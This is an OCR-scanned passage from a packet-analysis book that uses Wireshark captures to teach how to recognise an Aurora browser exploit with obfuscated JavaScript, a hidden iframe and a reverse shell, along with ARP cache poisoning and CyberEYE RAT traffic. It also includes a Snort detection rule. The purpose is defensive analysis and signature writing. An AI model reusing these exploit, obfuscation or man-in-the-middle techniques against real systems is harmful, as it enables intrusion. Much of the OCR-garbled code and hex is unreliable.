Location: /info?rFfWELUjLJHpP 
Connection: Keep-Alive 
Server: Apache 
Content-Length: 0 


GET /info?rFfWELUjLJHpP HTTP/1.1 

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* 
Accept-Language: en-us 

Accept-Encoding: gzip. deflate 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; SV1) 

Host: 192.168.100.202 

Connection: Keep-Alive 


HTTP/1.1 200 OK 
Content-Type: text/html 
|| Pragma: no-cache i 
Connection: Keep-Alive 
Server: Apache 
Content-Length: 11266 


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"» ce. 
l Find] | Save As Print] Entire conversation (12692 bytes) [z]© ascu © EBCDIC © Hex Dump © C Arrays © Raw 
Help Filter Out This Stream Close 
c J 


Figure 10-10: The data stream being transmitted to the client 


Stream Content- 


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"» RII 
||| |shtml» 

«head» 
|| [<script> 
||| |..var IwpVuiFqihvyso3stwxmT = 
'04271477133b000b1a0c240339133c120e2805160e1503684d705005291a08091b3e6e713e1122520b03123d051808392c0d27123b 
(0a0805033c1c0735321a2407350314142935250829083c0a0000072f142624011f2a27022825082f253f2c39394a716a26152752071 
42524357d43772c2702705a2f466a657c6e4a256a74 50614176566C65257e4165310515150a0F 2b35302a103d0e03041e0234362f3a 
3c34073e1b0d0d02131e3f1635200e21101c38093913112e322223211f 3239302133381b330a0c2c1175576c2e2713251f2308236b2 
f270f2d3e2d353c172b03393164031d192b1e363c012f072d311538230f2e113979490b03123d051808392c0d27123b0a30805033c1c 
(0735321a2407350314142935250829083c0a0000072f142624011f2a27022825082f253f2c39393125176614310627466a656e0d3a3 
9687 30d261334463b1122303b07052d3d3705303e36340f05131d0b2934142b070d33657175043926244b261334461d362b31063d3e 
(00263e1c110f11080f250e340020150110220c1e111c3d0e273f 3a3a21050f2b2208341f04042c684d701c231177043e270b3562614 
b26133446220e083e1c0d0e1b3d1d31362b271221170036001a240230092e222638383d152b1a23162b0d3330230b14053e3e3c1a32 
1537122d27043a30271d2439383b121f160a033e1c211e383f 203e3e143136190210081f2c1e231603112d363975576c3f261523112 
716327e2a20042f 3e211f 3e5221212e233d131c0f1318223d2a24080212361718392626070a24072c27102533210823092a15390917 
190d3e3310250d0c04053d04173d1c0f212b180820333c382d3e3d2036000921320a1c36371e4e7e3e3a34186c271f1707352e1f260 
a1a2d281c3b3c1e113411272e3d2419043d080611023c280d1c3318332b3b1c3d061f0b050810103b173a160f 32230a060d16260216 
(001c1c05684d70070d223c330d113901070b001d02110b152f 361f 3818180a3f180725123a121534381f0c113b05152021162a3e211 
e26282f012408242e381f27020605220124293309293c3321011a033a040822143533003f08000e22392c35270835137f656b701f2a 
727c4175077f5565726920537b782e55254b7f 52366039610b75286d05364b7255723078305e2e6f 3d49624b76432223746108693f7 
b47694063136423756c4f 392c7d49695733526f7c74d701f75287b167507725f632369205e29797f5525417152616039315c78786d05 
644a720372302a6d592a6f 3d44 364b774322767b6153693f7c4164136313637c2a314f 397 370496657 3355602328701f782b7c11750 
77f506e7469205e7b7e7a55254623526460396c08787d6d0569107f 5672302a6d597b6f 3d1669462743227129665d693f2e13364763 
136e762a364f 397e29433657335460717f701f75727c16750722506e726920537b2c7d55254b7752646039615b787264d0536477f 567 | 
2302a365e746f 3d44 36147f4322777b315c693F7C11624 5631331217 e624f 392c7d4963573300337174701f75727116750772076e75 
69205e742c7d5525467f0033603961537 5796d05644a74 5172307 56d537 56f 3d43364b2443227c7d6c59693f2c46644a631331217f3 
34397 e7a4469573354602328701f752c71407 5072002647 269205e7d797f55254b7f 516460396c5d78796d05364775517230756d5e 
7d6f 3d493240714322767b6c59693f7141644063136e747 5634f 397e7044675733006f2374701f2a2e7c48750772556e776920592a7 
3795525462452646039615a787d6d05694 2200572307 566592a6f 3d4 96840714 322777b610c693F7c49634 56313637 575674F397e79 
42365732522357c78701£22727h1675077250667c6020567h7871 552 SAH7SF 6603067 §27R7 ABAD SHAA P77 5777207 SA7 502 aff 244 PA 
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Figure 10-11: This scrambled content within a «script» tag appears to be encoded. 


The second portion of the content sent from the attacker is shown in 
Figure 10-12. After the encoded text, we finally see some text that is readable. 
Even without extensive programming knowledge, we can see that this text 
appears to do some string parsing based on a few variables. This is the last bit 
of text before the closing «/script» tag. 
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| Stream Content: 

402062f2f0e67657b0322242d0218260b2a77786c7748773d211e341d31482420381c04382f3a06311e6e08363c261b1f1f242b1e28 ^ i 

35280e0d0106272f142b3c23141936097b6579654377372e053e11320f 382b6c3b0b35200605031c25082f022234d3008003a3508133 

||| |235132e3c3a42653138506d5264 3a22752f650c103f781360161a1367267c3136397a2b40342e3356347528091f7c2978140c077605 

672110205a2f7a2c2c2542255633193965097c2e1405601176020b307c365a28163d403342223a22752f650e103f781360161a13672 

67c3136397a2b40342e3356347528091f7c2978140c077605672110205a2f7a2c2c2542255633193965097c2e1405601176020b307c 

365a28163d403342223a22752f650e103f781360161a1367267C3136397a2b40342e3356347528091f7c2978140c077605672110205 

a2f7a2c2c2542255633193965097c2e1405601176020b307c365a28163d403342223a22752f650e103f781360161a1367267c314877 

2c2702705a2f466a657c6e4a256a74501d17031e1e082e200c091d0a391c1c1420270c212c121e1e1f 371500050a2e352e302838301 

| 802113b05053f1139330706123d0a39312e0f222962390f222d3c186b522f4d7c6c37180f0932013d3207202300070519041e0c3839 I 

3d0b3e3403120b10180f263100321704122d153e14230f29202425142b2c0f 30363c2924233d1c0bib1b48332438344a716a384b2d0 
12/14/7316 c6843201826150139090-122230233220 1002020230 :0 2:31: 514012864 3b0233372a033a2022215131'; 

..var RXb = ''; 

..for (i = 0; i«IwpvuiFqihvysoJstwxmT. length; i+=2) { 

eee += String. fromcharcode(parserint(IwpvuiFqihvySoJstwxmT.substring(i, i+2), 16)); 


.. Var vuWGWSvUonxrQzpqgBXPrZNSKRGee = location. search. substring(1); 

++ Var NgxAxnnxiILOBMwvnkognbp = ''; 

..for (i=0; i<Rxb. length; i++) { 

-..NqxAXnnxiILOBMwVnKoqnbp += String. fromcharcode(Rxb. charcodeat(i) ^ 

vuwGwWs vUonxrQzpqgBXPrZNSKRGee. charCodeat (iXvuwGwsvUonxrQzpqgBXPrZNSKRGee. length)); 


.-window["eval". replace(/[A-Z]/g,"")] (Nqxaxnnxi ILOBMwVnKoqnbp) ; 

l| </script> 

apad 

<body> e 

span id="vhQyFCtoDnozuouxAf 1DSzVMIHYhj30jAOCHNZtQdlxsPFUeEthcGdRtilY"»«iframe src="/ 
infowrveeGDYJWNfsrdrvXiYApnuPocMj EE IZCXwxKjtEclbPuJPPctcflhsttMRrSyxl.gif" 


E SgEgTNEf aONekEqaMyAUALLMYW(event)" /></span></body></htm1> 
</body> - 
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[l 
|i Help Filter Out This Stream Close 


L. 


Figure 10-12: This portion of the content sent from the server contains readable text and a 
suspicious iframe. 


The last section of data sent from attacker to client has two parts. The 
first is a «span id-"vhOYFCtoDnOzUOuxAf1DSzVMIHYh;jJo;jAOCHNZtOdlxSPFUeEthCGdRtilY"» 
section 6. The second is contained within the <span></span> tags and is <iframe 
src-"/infowTVeeGDYJWNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxK j tEc1bPuJPPctcflhst- 
tMRrSyxl.gif" onload-"WisgEgTNEfaONekEqaMyAUALLMYW(event)" /» 0. Once again, 
this content may be a sign of malicious activity, due to the suspicious long, 
random strings of unreadable and potentially obfuscated text. 

The portion of the code contained within the «span» tag is an ?frame, which 
is a common method used by attackers to embed additional unexpected 
content into an HTML page. The «iframe» tag creates an inline frame that 
can go undetected by the user. In this case, the «iframe» tag references an 
oddly named GIF file. As shown in Figure 10-13, when the victim's browser 
sees the reference to this file, it makes a GET request for it in packet 21 9, and 
the GIF is sent immediately following that 6. This GIF is probably used to 
somehow trigger the exploit code that has already been downloaded to the 
victim's machine. 


No. 


Time Source 


Destination Protocol | Info 


21 0.455107 192.168.100.206 192.168.100.202 HTTP [1533 /infowrveeGDYJWNf sr drvxi YApnuPocMjRrszuKtbvgwuzCXwxKjtEclbPuJPPctcflhsttMRrsyxl.gif HTTP/1.1 
22 0.199959 192.168.100.202 192.168.100.206 TCP 80 > 1031 [ACK] Seq=3036736951 Ack-3982971911 win-64518 Len=0 

23 0.001166 192.168.100. 202 192.168.100. 206 HTTP QQ)urre/1.1 200 ok (GIF89a) 

24 0.161592 192.168.100.206 192.168.100. 202 TCP 1031 > 80 [ACK] Seq-3982971911 Ack-3036737098 win-64093 Len=0 


Figure 10-13: The GIF specified in the iframe is requested and downloaded by the victim. 
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The most peculiar part of this capture occurs at packet 25, when the 
victim initiates a connection back to the attacker on port 4321. Viewing this 
second stream of communication from the Packet Details pane doesn’t yield 
much information, so we will once again view the TCP stream of the commu- 
nication to get a clearer picture of the data being communicated. Figure 10-14 
shows the Follow TCP Stream window output. 


TEES 


E Follow TCP Stream Kos) 


Stream Content: 


Paay ee E Ae E See | Gee T ee e 
. RW. R. Bc. ..&X. . tJ. . P.H. o PTAs Lucille 
l8lu. los :}$u. x Xi. fokx SERT psšttavza: .xz.. .]hemd. . .www1. j. YV. . f. D$<... D 
Sas ;DTPWWEVNVVSVhy. ? d a ANS Er Oe z 
G.roj.S..Microsoft PEE XP [version 5.1.2600] 
©) ACOR 1985-2001 Microsoft Corp. eo 


C:\Documents and Settings\Administrator\Desktop>dir [2] 


volume in drive C has no label. 
volume Serial Number is 84AA-CO5E 


Directory of C:\Documents and Settings\Administrator\Desktop 


07/13/2010 05:33 PM <DIR> 
07/13/2010 05:33 PM <DIR> 


07/13/2010 05:33 PM <DIR> data 

07/13/2010 05:33 PM <DIR> docs 

07/13/2010 05:34 PM DE e txt 
1 File(s 


) 7 bytes 
4 Dir(s) 19,271,598, 080 bytes free 


‘C:\Documents and Settings\Administrator\Desktop>| 


End) Saves] [Bante Entire conversation (899 bytes) - Ele: ) ASCI © EBCDIC © Hex Dump © C Arrays @ Raw 


Help [ Filter Out This Stream | | Um 


Figure 10-14: The attacker is interacting with a command shell through this connection. 


In this display, we see something that should set off immediate alarms: a 
Windows command shell 6. This shell is sent from the victim to the server, 
indicating that the attacker's exploit attempt succeeded and the payload was 
dropped: The client transmitted a command shell back to the attacker once 
the exploit was launched. In this capture, we can even see the attacker inter- 
acting with the victim by entering the dir command Ó to view a directory list- 
ing on the victim's machine 6. 

An attacker with access to this command shell has unrestricted adminis- 
trative access to the victim's machine and can do virtually anything he wishes 
to it. With just a single click, in a matter of a few seconds, the victim has just 
given complete control of his computer to an attacker. 

Exploits like this are typically encoded to be unrecognizable when going 
across the wire in order to prevent them from being picked up by the net- 
work IDS. As such, without prior knowledge of this exploit or even a sample 
of the exploit code, it might be difficult to tell exactly what itis happening on 
the victim's system without further analysis. Luckily, we were able to pick out 
some telltale signs of malicious code in this packet capture. This includes the 
obfuscated text in the «script» tags, the peculiar iframe, and the command 
shell seen in plaintext. 

Here is a summary of how the Aurora exploit works: 


e The victim receives a targeted email from the attacker that appears to be 
legitimate, clicks a link within it, and sends a GET request to the attacker's 
malicious site. 


e The attacker’s web server issues a 302 redirection to the victim, and the 
victim's browser automatically issues a GET request to the redirected URL. 


e The attacker's web server transmits a web page containing obfuscated 
JavaScript code to the client that includes a vulnerability exploit and an 
iframe containing a link to a malicious GIF image. 
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e The victim issues a GET request for the malicious image and downloads it 
from the server. 


e The JavaScript code transmitted earlier is deobfuscated using the mali- 
cious GIF, and the code executes on the victim's machine, exploiting a 
vulnerability in Internet Explorer. 


e Once the vulnerability is exploited, the payload hidden within the obfus- 
cated code is executed, opening a new session from the victim to the 
attacker on port 4321. 


e A command shell is spawned from the payload and shoveled back to the 
attacker, so that he may interact with it. 


From a defender's point of view, we can use this capture file to create a 
signature for our IDS that might help capture further occurrences of this 
attack. For example, we might filter on a nonobfuscated part of the capture, 
such as the plaintext code at the end of the obfuscated text in the «script» tag. 
Another train of thought might be to write a signature for all HTTP traffic 
with a 302 redirection to a site with infoin the URL. This signature would 
need some additional tuning in order to be viable in a production environ- 
ment, but it's a good start. 


The ability to create traffic signatures based. on malicious traffic samples is a crucial 
step for someone attempting to defend a network against unknown threats. Captures 
such as the one described here are a great way to develop skills in writing those signa- 
tures. To learn more about intrusion detection and attack signatures, visit the Snort 
project at http://www.snort.org/. 


ARP Cache Poisoning 


In Chapter 2, we discussed ARP cache poisoning as a way to tap into the wire 
and intercept traffic from hosts whose packets you need to analyze. ARP cache 
poisoning can be an effective and useful tool for a network engineer. How- 
ever, when used with malicious intent, it’s also a very lethal form of man-in- 
the-middle (MITM) attack. 

In an MITM attack, an attacker redirects traffic between two hosts in 
order to intercept or modify it in transit. There are many forms of MITM 
attacks, including session hijacking, DNS spoofing, and SSL hijacking. 

ARP cache poisoning works because specially crafted ARP packets trick 
two hosts into thinking they are communicating with each other, when, in 
fact, they are communicating with a third party who is relaying packets as an 
intermediary. 

The file arppoison.pcap contains an example of ARP cache poisoning. 
When you open it, you'll see at first glance that this traffic appears normal. 
However, if you follow the packets, you will see our victim, 172.16.0.107, brows- 
ing to Google and performing a search. As a result of this search, there is quite 
a bit of HTTP traffic with some DNS queries mixed in. 


so 


We know that ARP cache poisoning is a technique that occurs at layer 2, 
if we just casually peruse the packets in the Packet List pane, it may be 


hard to see any foul play. In order to give us a leg up, we will add a couple 
of columns to the Packet List pane, as follows: 


Qu Or. Go. Oar 


10. 


11. 


Select Edit » Preferences. 

Click Columns on the left side of the Preferences window. 
Click Add. 

Type Source MAC and press Enter. 

In the Field type drop-down list, select Hw src addr (resolved). 


Click the newly added entry, and drag it so that it is directly after the 
Source column. 


Click Add. 

Type Dest MAC and press Enter. 

In the Field type drop-down list, select Hw dest addr (resolved). 
Click the newly added entry and drag it so that it is directly after the 


Destination column. 


Click OK to apply the changes. 


When you have completed these steps, your screen should look like 


Figure 10-15. You should now have two additional columns showing the source 
and destination MAC addresses of the packets. 


V) Wireshark: Preferences - Profile: Default Dae 
E User Interface ‘Columns 
Layout [The first list entry will be displayed as the leftmost column - Drag and drop entries to change column order] 
Columns Title Field type 
Font No. Number 
Colors Time Time (format as specified) 
Capture Source Source address 
Printing Source MAC Hw src addr (resolved) 
Name Resolution Destination Destination address 
Statistics Dest MAC Hw dest addr (resolved) 
& Protocols Protocol Protocol 
Info Information 
Properties: 
Fieldtype |Hw dest addr (resolved) 
Remove Field name: 
[Hep | [ok] [Apply] [cancer] 


d 


Figure 10-15: The column configuration screen with newly added columns for source and 
destination hardware addresses 
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If you still have MAC name resolution turned on, you should see that the 
communicating devices have MAC addresses that indicate Dell and Cisco 
hardware. This is very important to remember, because as we scroll through 
the capture, this changes at packet 54, when we see some peculiar ARP traffic 
occurring between the Dell host (our victim) and a newly introduced HP 
host (the attacker), as shown in Figure 10-16. 


No. 


Time Source 


Source MAC Destination Dest MAC Protocol Info 


54 4.171500 HewlettP bf:91:ee HewlettP bf:91:ee Dell c0:56:f0 @ 0e11.co:56:fo ARP who has 172.16.0.107? Tell 172.16.0.1 
@ 55 0.000053 pe11. co:56:fo0 Dell. c0:56:f0 HewlettP bf:91:ee HewlettP bf:91:ee ARP 172.16.0.107 is at 00:21:70:c0:56:f0 
56 0.000013 HewlettP bf:91:ee HewlettP bf:91:ee Dell c0:56:fO0 Dell c0:56:f0 ARP © 172.16.0.1 is at 00:25:b3:bf:91:ee 


Figure 10-16: Strange ARP traffic between the Dell device and an HP device 
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Before proceeding further, note the endpoints involved in this commu- 
nication, which are listed in Table 10-3. 


Table 10-3: Endpoints Being Monitored 


Role Device Type IP Address MAC Address 

Victim Dell | 172.160.107 00:2170:0:56:50 — 
Router Cisco 172.16.0.1 00:26:0b:21:07:33 
Attacker HP Unknown 00:25:b3:bf:91:ee 


But what makes this traffic strange? Recall from our discussion of ARP in 
Chapter 6 that there are two primary types of ARP packets: a request and a 
response. The request packet is sent as a broadcast to all hosts on the net- 
work in order to find the machine that has the MAC address associated with 
a particular IP address. The response is then sent as a unicast packet from 
the machine that replies to the device that transmitted the request. Given 
this background, we can identify a few peculiar things in this communication 
sequence, referring to Figure 10-16. 

First, packet 54 is an ARP request sent from the attacker, with MAC 
address 00:25:b3:bf:91:ee, as a unicast packet directly to the victim with MAC 
00:21:70:c0:56:f0 €. This type of request should be broadcast to all hosts on 
the network, but it targets the victim directly. Also, notice that although this 
packet is sent from the attacker and includes the attacker's MAC address in 
the ARP header, it lists the router's IP address rather than its own. 

This packet is followed by a response from the victim to the attacker contain- 
ing its MAC address information @. The real voodoo here occurs in packet 56, 
when the attacker sends a packet to the victim with an unsolicited ARP reply 
telling it that 172.16.0.1 is located at its MAC address, 00:25:b3:b£91:ee ©. 
The problem is that the MAC address 172.16.0.1 isn't 00:25:b3:bf:91:ee but 
00:26:0b:31:07:33. We know this because we saw the router at 172.16.0.1 com- 
municating with the victim earlier in the packet capture. Since the ARP pro- 
tocol is inherently insecure (it accepts unsolicited updates to its ARP table), 
the victim will now be sending traffic that should be going to the router to the 
attacker instead. 


NOTE 


Because this packet capture was taken from the victim's machine, you don't actually see 
the entire picture. For this attack to work, the attacker must send the same sequence of 
packets to the router in order to trick it into thinking the attacker is actually the victim, 
but we would need to take another packet capture from the router (or the attacker) in 
order to see those packets. 


Once both parties have been duped, the communication between the 
victim and the router flows through the attacker, as illustrated in Figure 10-17. 


ARP Spoofing Setup 


(Victim's Perspective) 


Who has 172.16.0.107? Tell 172.16.0.1 
SRC MAC: 
00:25:b3:bf:91:ee 
DST MAC: 


SRC MAC: 
00:21:70:c0:56:f0 
Router DST MAC: Victim 
(Cisco) Attacker 00:25:b3:bf:91:ee (Dell) 
172.16.0.1 (HP) ECC ITE UEM 172.16.0.107 
00:26:0b:21:07:33 . 00:25:b3:bf:91:ee b or 00:21:70:c0:56:f0 
00:25:b3:bf:9 1 :ee 


DST MAC: 
00:21:70:c0:56:f0 


00:21:70:c0:56:f0 
do 1—1 
B 172.16.0.107 is at 00:21:70:c0:56:f0 D> 


ARP Spoofing Result 
(Attacker Intercepts Traffic) 


— ANN 


—* I 


Router Attacker Victim 


Figure 10-17: ARP cache poisoning as an MITM attack 


Packet 57 confirms the success of this attack. When you compare this 
packet with one sent before the mysterious ARP traffic, such as packet 40 
(see Figure 10-18), you will see that the IP address of the remote server 
(Google) remains the same 6, but the target MAC address has changed 6. 
This change in MAC address tells us that the traffic is now being routed 
through the attacker before it gets to the router. 

Because this attack is so subtle, it's very difficult to detect. To find it, you 
typically need the aid of an IDS configured specifically to address it or soft- 
ware running on devices designed to detect sudden changes in ARP table 
entries. Since you will most likely use ARP cache poisoning to capture packets 
on networks you are analyzing, it's important to know how this technique can 
be used against you as well. 


Packet Analysis for Security 205 


ratinfected.pcap 


206 


Chapter 10 


Il 40 0.000013 172.16.0.107 Dell «0.56: 74.125.95.147 Cisco 31.07:33 TCP 45692 > 80 [ACK] Seq=619079507 ALB c | E) | 3€ | 


& Frame 40: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
E Ethernet II, Src: Dell c0:56:fO0 (00:21:70:c0:56:f0), Dst: Cisco 31:07:33 (00:26:0b:31:07 


Destination: Cisco 31:07:33 (00:26:0b:31:07:33) (2) 
E] Source: Dell c0:56:f0 (00:21:70:c0:56:f0) 
Type: IP (0x0800) 


version: 4 
Header length: 20 bytes 

E Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00) 
Total Length: 52 
Identification: Ox97bf (38847) 

® Flags: 0x02 (Don't Fragment) 

Fragment offset: 0 
Time to live: 64 
Protocol: TCP (6) 

f Header checksum: Ox4c79 [validation disabled] 
source: 172.16.0.107 (172.16.0.107) 
Destination: 74.125.95.147 (74.125.95.147) @ 

m 


E Internet Protocol, Src: 172.16.0.107 (172.16.0.107), Dst: 74.125.95.147 (74.125.95.147) 


0000 MA E 45 00 TEANA: 
0010 00 34 97 bf 40 00 40 06 4c 79 ac 10 00 6b 4a 7d .4..@.@. LYy...kKJ} 
0020 5f 93 b2 7c 00 50 24 e6 67 53 a7 bf bb c1 80 10  ...|.P$. gS...... 


0030 00 6c 56 ea 00 00 01 01 08 Oa OO O8 f3 a5 bf 8b  .lv..... ........ 
0040 73 1a s. 


@ 57 1.906795 172.16.0.107 Dell c0:56:f0 74.125.95.147 HewlettP_bf:91:ee HTTP GET /complete/gsearch?hl-: 


Œ Frame 57: 960 bytes on wire (7680 bits), 960 bytes captured (7680 bits) 
B Ethernet II, Src: Dell c0:56:fO0 (00:21:70:c0:56:f0), Dst: HewlettP bf:91:ee (00:25:b3:bf 


Destination: HewlettP_bf:91:ee (00:25:b3:bf:91:ee) (2) 
E Source: Dell_c0:56:f0 (00:21:70:c0:56:f0) 
Type: IP (0x0800) 


Ej] Internet Protocol, Src: 172.16.0.107 (172.16.0.107), Dst: 74.125.95.147 (74. 


version: 4 
Header length: 20 bytes 

@ Differentiated Services Field: 0x00 (DsCP 0x00: Default; ECN: 0x00) 
Total Length: 946 
Identification: Ox3afl (15089) 

@ Flags: 0x02 (Don't Fragment) 
Fragment offset: O 
Time to live: 64 
Protocol: TCP (6) 

E] Header checksum: O0xa5c9 [validation disabled] 
Source: 172.16.0.107 (172.16.0.107) 
Destination: 74.125.95.147 (74.125.95.147) [1] 


125.95.147) 


m 


0000 MFH 00 21 70 cO 56 fO 08 45 00 
0010 03 b2 3a f1 40 00 40 06 a5 c9 ac 10 00 6b 4a 7d 


ca 
0020 5f 93 b2 7b 00 50 24 59 cf 77 62 34 bO c8 80 18 

0030 01 64 5a 30 00 00 01 O1 08 Oa 00 08 f9 c1 a8 ef . 

0040 7f 69 47 45 54 20 2f 63 6f 6d 70 6c 65 74 65 2f omplete/ T 
NANEN 67 7? &t &1 7? 62 60 2€ 60 Gr 9d EE Gn 26 62 Gr Benz J 


Remote-Access Trojan 


So far, we've examined security events with some knowledge of what we have 
before we begin examining the capture. This is a great way to learn what 
attacks look like, but it's not very real world. In most real-world scenarios, 
people tasked with defending a network won't examine every packet that 
goes across the network. Instead, they will use some form of IDS to alert them 
to anomalies in network traffic that warrant further examination based on a 
predefined attack signature. 


Figure 10-18: The change in target MAC address shows this attack was a success. 


In the next example, we'll begin with a simple alert, as if we're the real- 


world analyst. In this case, our IDS generates this alert: 


[**] [1:132456789:2] CyberEYE RAT Session Establishment [**] 
[Classification: A Network Trojan was detected] [Priority: 1] 
07/18-12:45:04.656854 172.16.0.111:4433 -» 172.16.0.114:6641 
TCP TTL:128 TOS:OxO ID:6526 IpLen:20 DgmLen:54 DF 
M**Ap*** Seg: Ox53BAEBSE Ack: 0x18874922 Win: OxFAFO TcpLen: 20 


NOTE 


Our next step would be to view the signature rule that triggered this alert: 


alert tcp any any -» $HOME NET any (msg:"CyberEYE RAT Session Establishment"; 
content:"|41 4E 41 42 49 4C 47 49 7C|"; classtype:trojan-activity; 
sid:132456789; rev:2;) 


This rule is set to alert whenever it sees a packet from any network entering 
the internal network with the hexadecimal content 41 4E 41 42 49 4C 47 49 7C. 
This content converts to ANA BILGI in human-readable ASCII. When detected, 
an alert fires, signifying the possible presence of the CyberEYE remote-access 
Trojan (RAT). RATs are malicious programs that run silently on a victim's 
computer and connect back to an attacker, so that the attacker can remotely 
administer the victim's machine. 


CyberEYE is a popular Turkish-born tool used to create RAT executables and adminis- 
ter compromised hosts. Ironically, the Snort rule seen here fires on the string ANA BILGI, 
which is Turkish for BASIC INFORMATION. 


Now we'll look at some traffic associated with the alert in the file 
ralinfecled.pcap. This Snort alert would typically capture only the single 
packet that triggered the alert, but fortunately, we have the entire commu- 
nication sequence between the hosts involved. To skip to the punch line, 
search for the hexadecimal string mentioned in the Snort rule, as follows: 


Select Edit > Find Packet. 

Select the Hex Value radio button. 

Enter the value 41 4E 41 42 49 4C 47 49 7C into the text area. 
Click Find. 


ON 


As shown in Figure 10-19, you should now see the first occurrence of the 
above string in the data portion of packet 4 6. 


E 4 0.000985 172.160.111 172.160.114 TCP 4433 > 6641 [PSH, ACK] Seq 1404758878 Ack-411519266 Win=64240 Len-14 Posies aaa x=) 


Œ Frame 4: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) 

Œ Ethernet II, Src: Vmware 07:ae:27 (00:0c:29:07:ae:27), Dst: HewlettP bf:91:ee (00:25:b3:bf:91:ee) 

& Internet Protocol, Src: 172.16.0.111 (172.16.0.111), Dst: 172.16.0.114 (172.16.0.114) 

Œ Transmission Control Protocol, Src Port: 4433 (4433), Dst Port: 6641 (6641), Seq: 1404758878, Ack: 411519266, Len: 14 
© Data (14 bytes 


) 
Data: 414E4142494C47497C3535360D0A 1 


[Length: 14] 


[0010 00 36 19 7e 40 00 80 06 88 42 ac 10 00 6f ac 10 .6.~@... .B...0.. 
0020 00 72 11 51 19 fl 53 ba eb Se 18 87 49 22 50 18 "Fils. cA. T Ps 
0030 fa fO be 2b 00 00 DEECEEGEEFEECETSEYAKUNHISEE |. +. BREE 


‘fo > 
E 


Figure 10-19: The content string in the Snort alert is first seen here in packet 4. 


If you select Edit >» Find Next a few more times, you will see that this string 
also occurs in packets 5, 10, 32, 156, 280, 405, 531, and 652. Although all of 
the communication in this capture file is between the attacker (172.16.0.111) 
and victim (172.16.0.114), it appears as though some instances of the string 
occur in different conversations. While packets 4 and 5 are communicating 
using ports 4433 and 6641, most of the other instances occur between port 4433 


Packet Analysis for Security 207 


208 


Chapter 10 


and other randomly selected ephemeral ports. We can confirm that multiple 
conversations exist by looking at the TCP tab of the Conversations window, as 
shown in Figure 10-20. 


lll Conversations: ratinfected.pcap. ies] ay 
Ethernet: 1| Fibre Channel| roni |apva: 1 [19v [10x [ xr | wce | svo [\scTP||TCP: 8 | Token Ring | uo» | use | wLAn| 
TCP Conversations 
Address A 4 PortA 4 AddressB 4 PortB 4 Packets 4 Bytes 4 Packets A->B 4 Bytes A->B 4 Packets A<-B 4 BytesA<-B 4 RelStar 4 Duration ¢ by 
172160114 6641 17216.0111 4433 48 2989 24 1589 24 1400 0000000000 1321296 
172160114 6642 — 172160111 4433 10 — 585 6 343 4 242 0012008000 1321178 
172160114 6643 172160111 4433 120 91537 8 89 730 3 1807 74205235000 ^ 00660 1t 
172160114 6644 — 172160111 4433 120 91537 8 89 730 33 1807 84200773000 0.0701 11 
172160114 6645 — 172160111 4433 121 94050 89 92297 32 1753 94225097000 0.0730 11 
172160114 6646 — 172160111 4433 122 94866 9 93 167 31 1699 104.238408000 0.0718 11 
172160114 6647 17216.0111 4433 119 91473 87 89 720 32 1753 114238812000 0.0703 11 
172160114 6648 — 172160111 4433 119 91478 8 89 725 32 1753 118445540000 0.0664 11 
< m ' 
[V] Name resolution [7] Limit to display filter 


Figure 10-20: Three individual conversations exist between the attacker and victim. 


We can visually separate the different conversations in this capture file by 
colorizing them, as follows: 


l. Inthe filter dialog above the Packet List pane, type the filter (tcp.flags.syn 
== 1) && (tcp.flags.ack == 0). Then click Apply. This will select the initial 
SYN packet for each conversation in the traffic. 


2. Right-click the first packet and select Colorize Conversation. 
3. Select TCP, and then select a color. 


4. Repeat this process for the remaining SYN packets, choosing a different 
color for each. 


5. When finished, click Clear to remove the filter. 


Having colorized the conversations, we can see how they relate to each 
other, which will help us to better track the communication process between 
the two hosts. The first conversation (ports 6641/4433) is where the commu- 
nication between the two hosts begins, so it's a good place to start. Right-click 
any packet within the conversation and select Follow TCP Stream to see the 
data that was transferred, as shown in Figure 10-21. 

Immediately, we see that the text string ANABILGI |556 is sent from the attacker 
to the victim ®. As a result, the victim responds with some basic system infor- 
mation, including the computer name (CSANDERS-6F7F77) and the operating 
system in use (Windows XP Service Pack 3) @, and begins transmitting the same 
string of BAGLIMI? back to the attacker 6. The only communication back from 
the attacker is the string CAPSCREEN60 O, which appears six times. 

This CAPSCREEN6O string returned by the attacker is interesting, so let's see 
where it leads. To do so, we search for the text string within the packets using 
the search dialog again, specifying the String option. 


ll Follow TCP Stream - POSS area x™) 


Stream Content 


ANABILGI |556 @ 
(2 pee IT 168.126.143|us|rati|NO|Administrator / CSANDERS-6F7F77|windows XP Service Pack 3| 
Intel(R) Core(TM)2 Duo CPU T9600 @ 2.80GHz|511 MB|1.2|7/18/2010| 
BAGLIMI? 
|BAGLIMI? 
BAGLIMI? 
|BAGLIMI? 
|BAGLIMI? 
BAGLIMI? 
|BAGLIMI? 
Q@)cAPSCREENGO 
|BAGLIMI? 
CAPSCREEN60 
BAGLIMI? 
ICAPSCREEN60 
BAGLIMI? 
ICAPSCREEN60 
|BAGLIMI? 
|CAPSCREEN6GO 
|CAPSCREEN6O 
|BAGLIMI? 
BAGLIMI? 


E s - - 
Eind) [Save As [Print ) Entire conversation (373 bytes) [z]© asci © EBCDIC © Hecbump © C Arrays © Raw 
Help [ Filter Out This Stream | { Close 
i 


Figure 10-21: The first conversation yields interesting results. 


Upon performing this search, we find the first instance of the string in 
packet 27. The intriguing thing about this bit of information is that as soon 
as the string is sent from the attacker to the client, the client acknowledges 
receipt of the packet, and a new conversation is started in packet 29. 

Now, if we follow the TCP stream output of this new conversation (shown 
in Figure 10-22), we see the familiar string ANABILGI | 12, followed by the string 
SH|556, and finally, the string CAPSCREEN|C:\WINDOWS\ jpgevhook. dat |84972 ®. Notice 
the file path specified after the CAPSCREEN string, which is followed by unread- 
able text. The most intriguing thing here is that the unreadable text is pre- 
pended by the string JFIF @, which a quick Google search will tell you is 
commonly found at the beginning of JPG files. 

At this point, it's safe to conclude that the attacker initiated this conversa- 
tion to transfer this JPG image. But even more importantly, we are beginning 
to see a command structure evolve from the traffic. It appears that CAPSCREEN 
is a command sent by the attacker to initiate the transfer of this JPG image. 
In fact, whenever the CAPSCREEN command is sent, the result is the same. To 
verify this, view the stream of each conversation, or try Wireshark's IO graph 
